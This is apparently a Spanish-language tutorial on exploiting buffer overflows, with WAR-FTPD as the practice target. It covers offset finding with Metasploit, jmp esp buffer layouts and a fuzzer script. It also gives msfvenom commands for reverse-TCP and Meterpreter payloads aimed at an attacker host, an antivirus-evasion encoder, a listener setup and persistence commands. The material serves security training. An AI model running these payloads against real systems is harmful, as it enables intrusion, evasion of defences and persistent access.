Vulnerabilidades Exploitables en Software
Tipos Comunes de Vulnerabilidades
-
Buffer Overflow
Ocurre cuando un programa escribe más datos en un búfer de los que puede contener, sobrescribiendo áreas de memoria adyacentes. Esto puede permitir la ejecución de código arbitrario. -
Double Free
Se produce cuando un programa libera la misma porción de memoria dos veces, lo que puede llevar a corrupción de memoria y explotación. -
Use After Free (UAF)
Se da cuando un programa sigue utilizando memoria después de haberla liberado, lo que puede llevar a ejecución de código o a la corrupción de datos. -
Integer Overflow
Se produce cuando una operación aritmética excede la capacidad del tipo de dato usado, lo que puede ser aprovechado para modificar el flujo del programa. -
Race Condition
Sucede cuando múltiples procesos acceden y modifican datos compartidos de manera concurrente sin una adecuada sincronización, permitiendo la manipulación no intencionada del estado del programa.
Explotación de Vulnerabilidades en Software
Para explotar una vulnerabilidad, el objetivo principal en arquitecturas x86 es controlar el registro EIP (Instruction Pointer), ya que este determina la dirección de memoria donde el procesador ejecutará la siguiente instrucción. Si logramos sobrescribirlo con una dirección controlada, podemos redirigir la ejecución a nuestro shellcode.
Buffer Overflow
El buffer overflow ocurre cuando un programa escribe más datos en un búfer de los que puede almacenar, sobrescribiendo partes de la memoria y permitiendo potencialmente la ejecución de código arbitrario.
Funciones Inseguras que pueden causar un Buffer Overflow:
-
strcpy()→ Copia cadenas sin verificar el tamaño, clave para explotaciones. -
puts(),printf()→ Pueden ser explotadas si se controla el formato de salida. -
scanf()→ Si no se valida el tamaño del input, puede causar desbordamiento.
Creación y Ejecución de un Shellcode
El shellcode es un código en ensamblador diseñado para ejecutar comandos en el sistema de la víctima. Para ejecutarlo, existen distintas estrategias:
-
Direct Jump → Salto directo al shellcode. Funciona en algunos casos, pero es riesgoso porque depende de una dirección de memoria fija.
-
Jump by Jumping on NOPs → Se rellena la memoria con instrucciones NOP (
\x90), permitiendo que el código caiga en el shellcode sin necesidad de conocer la dirección exacta.
Antes, el shellcode se escribía manualmente en C y ensamblador, pero hoy en día se genera con msfvenom, facilitando su creación.
Objetivos del Explotador
La explotación de un buffer overflow generalmente tiene como finalidad:
-
Escalada de privilegios → Obtener permisos elevados en el sistema.
-
Reverse Shell → Conectar la máquina víctima con el atacante.
-
Meterpreter → Una sesión interactiva de Metasploit con herramientas avanzadas.
Protecciones y Técnicas de Mitigación
Las modernas protecciones de seguridad hacen que la explotación de buffer overflows sea cada vez más difícil:
-
Stack Canary → Detecta modificaciones en la pila y detiene la ejecución.
-
SEHOP (Structured Exception Handler Overwrite Protection) → Protege la tabla de excepciones en Windows.
-
ASLR (Address Space Layout Randomization) → Aleatoriza las direcciones de memoria, dificultando la predicción de la ubicación del shellcode.
-
NX/DEP (No-Execute / Data Execution Prevention) → Previene la ejecución de código en regiones de memoria de solo datos.
Sin embargo, algunas técnicas pueden bypass estas protecciones. En Linux, ASLR puede saltarse mediante ataques como Return-to-libc o ROP (Return-Oriented Programming), reutilizando fragmentos de código existentes en la memoria.
Otros Factores en la Explotación
-
Bad Characters → Algunos caracteres, como
\x00, pueden romper el payload al ser interpretados como un terminador de cadena. -
FTP y Conexiones → Algunos caracteres pueden cerrar la conexión en protocolos como FTP, lo que impide enviar payloads de manera efectiva.
Uso de Immunity Debugger para Explotación de Buffer Overflow
Introducción a Immunity Debugger
Immunity Debugger es un depurador diseñado para el análisis de vulnerabilidades y explotación, basado en OllyDbg. Es una herramienta de old school, pero sigue siendo útil para analizar binarios en Windows.
Para analizar una aplicación, se usa el comando Attach para adjuntar el depurador al proceso en ejecución y así entrar en modo depuración.
Identificación del Buffer Overflow
Cuando se produce un buffer overflow exitoso, se puede observar que el registro EIP (Instruction Pointer) ha sido sobrescrito con valores específicos.
Si en Immunity Debugger el EIP contiene 41414141, significa que el búfer controlado por el atacante ha sobrescrito el puntero de instrucción (ya que 41 en ASCII es 'A').
Para identificar el offset exacto donde ocurre la sobrescritura, se genera un patrón único con Metasploit:
msf-pattern_create -l 1000El resultado se introduce en el programa vulnerable y luego se inspecciona el valor en EIP con:
msf-pattern_offset -q [VALOR_EN_EIP]Por ejemplo, si el valor en EIP es 2qA1, se usa:
msf-pattern_offset -q 2qA1Esto devolverá el offset exacto donde se sobrescribe EIP.
Ajuste del Buffer
Una vez conocido el offset, se construye el exploit inicial para verificar el control sobre EIP:
buffer = "A" * 485 + "B" * 4 + "C" * 100-
"A" * 485→ Datos de relleno hasta el offset identificado. -
"B" * 4→ Sobrescribe EIP, útil para verificar control. -
"C" * 100→ Espacio para el shellcode.
Si el EIP se llena con 42424242 (BBBB en ASCII), significa que se tiene control sobre el flujo del programa.
Inserción del Shellcode
Ahora, reemplazamos la sobrescritura de EIP con una instrucción que redirija la ejecución al shellcode. Primero, introducimos una zona de NOPs (\x90) para facilitar la ejecución:
buffer = "\x90" * 316 + shellcode + "C" * 100-
\x90* 316 → Espacio de deslizamiento para asegurar la ejecución del shellcode. -
shellcode→ Código malicioso generado conmsfvenom. -
C" * 100→ Datos de relleno para evitar colisiones con otros datos en la pila.
Para generar un shellcode con Metasploit:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -b "\x00" -f pythonBypass de Protecciones con jmp esp
Para redirigir el flujo de ejecución, se debe encontrar una dirección en la memoria que contenga un jmp esp, lo que permitirá ejecutar el shellcode:
!mona jmp -r espSe copia la dirección de memoria resultante y se coloca en formato Little Endian dentro del exploit:
jmp_esp = "\xF3\x12\x45\x00" # Ejemplo en Little Endian
buffer = "A" * 485 + jmp_esp + "\x90" * 16 + shellcodeTécnicas de Ejecución de Shellcode
Hay dos formas principales de ejecutar el shellcode:
-
Shellcode Directo → Inyectarlo en la pila y redirigir la ejecución.
-
Reverse Shell → Conectar la máquina víctima al atacante.
Si el antivirus bloquea el payload, se pueden utilizar encoders en msfvenom:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -b "\x00" -f python-
-e x86/shikata_ga_nai→ Usa un encoder para ofuscar el shellcode y evadir detección. -
-b "\x00"→ Excluye caracteres problemáticos.
Resumen del Exploit Final
buffer = "A" * 485
buffer += "\xF3\x12\x45\x00" # Dirección de jmp esp en Little Endian
buffer += "\x90" * 16 # Zona de NOPs
buffer += shellcodeEstado Actual de la Explotación de Buffer Overflow
Hoy en día, explotar un buffer overflow en sistemas modernos es extremadamente difícil debido a múltiples mecanismos de protección implementados en los sistemas operativos y compiladores:
-
ASLR (Address Space Layout Randomization)
-
Aleatoriza las direcciones de memoria de procesos y librerías, dificultando la predicción de direcciones para ataques como return-to-libc o ROP (Return-Oriented Programming).
-
Para evadirlo, se pueden usar info leaks o técnicas como heap spraying.
-
-
NX/DEP (No eXecute / Data Execution Prevention)
-
Restringe la ejecución de código en segmentos de memoria destinados a datos.
-
Se puede evadir mediante ROP (Return-Oriented Programming).
-
-
Canarios de Pila (Stack Canary)
- Detectan modificaciones en la pila y terminan el programa si encuentran alteraciones inesperadas.
-
SEHOP (Structured Exception Handler Overwrite Protection)
- En Windows, protege las estructuras de manejo de excepciones contra sobrescrituras maliciosas.
Ejemplo de Software Vulnerable: WAR-FTPD
Uno de los programas más explotados en pruebas de seguridad y certificaciones como OSCE es WAR-FTPD, un servidor FTP con múltiples vulnerabilidades explotables. Se utiliza comúnmente para prácticas de buffer overflow debido a su falta de protecciones modernas.
Detección de Buffer Overflows: Uso de Fuzzers
Para encontrar vulnerabilidades en programas, se usa un fuzzer, que inyecta entradas malformadas para detectar fallos. Un buffer overflow se identifica si el programa se bloquea o presenta comportamiento anómalo.
Ejemplo de un fuzzer básico en Python:
import socket
target_ip = "192.168.1.100"
target_port = 21
buffer = "A" * 100
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(buffer.encode() + b"\r\n")
s.close()
buffer += "A" * 100
except:
print(f"Posible buffer overflow detectado con {len(buffer)} bytes")
breakEste script envía una cantidad creciente de "A" al servicio FTP para ver si se bloquea, lo que indicaría un posible buffer overflow.
Explotación con Meterpreter
Cuando se encuentra una vulnerabilidad explotable, se puede generar una reverse shell o acceso persistente utilizando Meterpreter, un payload avanzado de Metasploit.
Ejemplo de generación de un payload con msfvenom:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f pythonUna vez ejecutado, se usa Metasploit para capturar la conexión:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
exploitDesde Meterpreter se pueden ejecutar comandos como:
-
getsystem→ Intento de escalada de privilegios. -
persistence→ Generación de acceso persistente.
Bases de Datos de Exploits
Para buscar exploits existentes, se pueden usar:
-
Rapid7 (Metasploit Framework) → Contiene múltiples módulos listos para usar.
-
Exploit-DB → Base de datos pública de exploits.
Ejemplo de búsqueda de vulnerabilidades en Exploit-DB:
searchsploit warftpd¿Vale la pena explotar buffer overflows hoy en día?
En la práctica, los buffer overflows son difíciles de explotar en sistemas modernos debido a las protecciones mencionadas. Hacerlo a mano es complicado y poco eficiente comparado con usar herramientas como Metasploit y msfvenom.
Para ataques reales, es más eficiente:
-
Buscar vulnerabilidades lógicas en software moderno.
-
Realizar pentesting de redes y aplicaciones web.
-
Usar técnicas avanzadas como ataques de deserialización, explotación de heap o cadenas de ROP.
Libros para Aprender Explotación y Reverse Engineering (De menor a mayor dificultad)
-
Reverse Engineering Secrets
-
Introducción al reverse engineering desde cero.
-
Ideal para principiantes sin experiencia previa.
-
-
Practical Reverse Engineering
-
Cubre arquitecturas x86, x64 y ARM.
-
Explica técnicas prácticas de análisis binario y desmontaje.
-
No se enfoca en conceptos teóricos extensos.
-
-
Beginner’s Guide to Exploitation on ARM
-
Primeros pasos en buffer overflow y explotación en ARM.
-
Explica cómo funcionan las arquitecturas embebidas.
-
-
Shellcoder’s Handbook (Última edición recomendada)
-
Guía avanzada sobre exploitation y desarrollo de shellcode.
-
Cobertura de técnicas modernas de explotación.
-
-
Exploiting ARM (Billie Ellish)
-
Especializado en explotación en arquitecturas ARM.
-
Profundiza en técnicas avanzadas de explotación en dispositivos embebidos.
-
-
The IDA Pro Book
-
Manual avanzado para usar IDA Pro, una de las herramientas más utilizadas en reversing.
-
Recomendado para quienes quieran dedicarse seriamente al análisis de binarios.
-
-
Malware Analysis: The Hands-On Guide
-
Guía práctica para el análisis de malware.
-
Explica técnicas de desensamblado, evasión de detección y reversing de código malicioso.
-
Recursos Online para Aprender Explotación
-
OverTheWire – Wargames (Narnia)
-
Plataforma de retos de seguridad.
-
Ideal para aprender buffer overflows y explotación de memoria.
-
Se recomienda usar Radare2 para los desafíos.
-
-
Azeria Labs
-
Tutoriales especializados en explotación en ARM.
-
Explicaciones detalladas sobre buffer overflows y ROP en ARM.
-
-
Beginners.re
-
Sitio web para aprender reverse engineering desde cero.
-
Contiene guías y retos prácticos.
-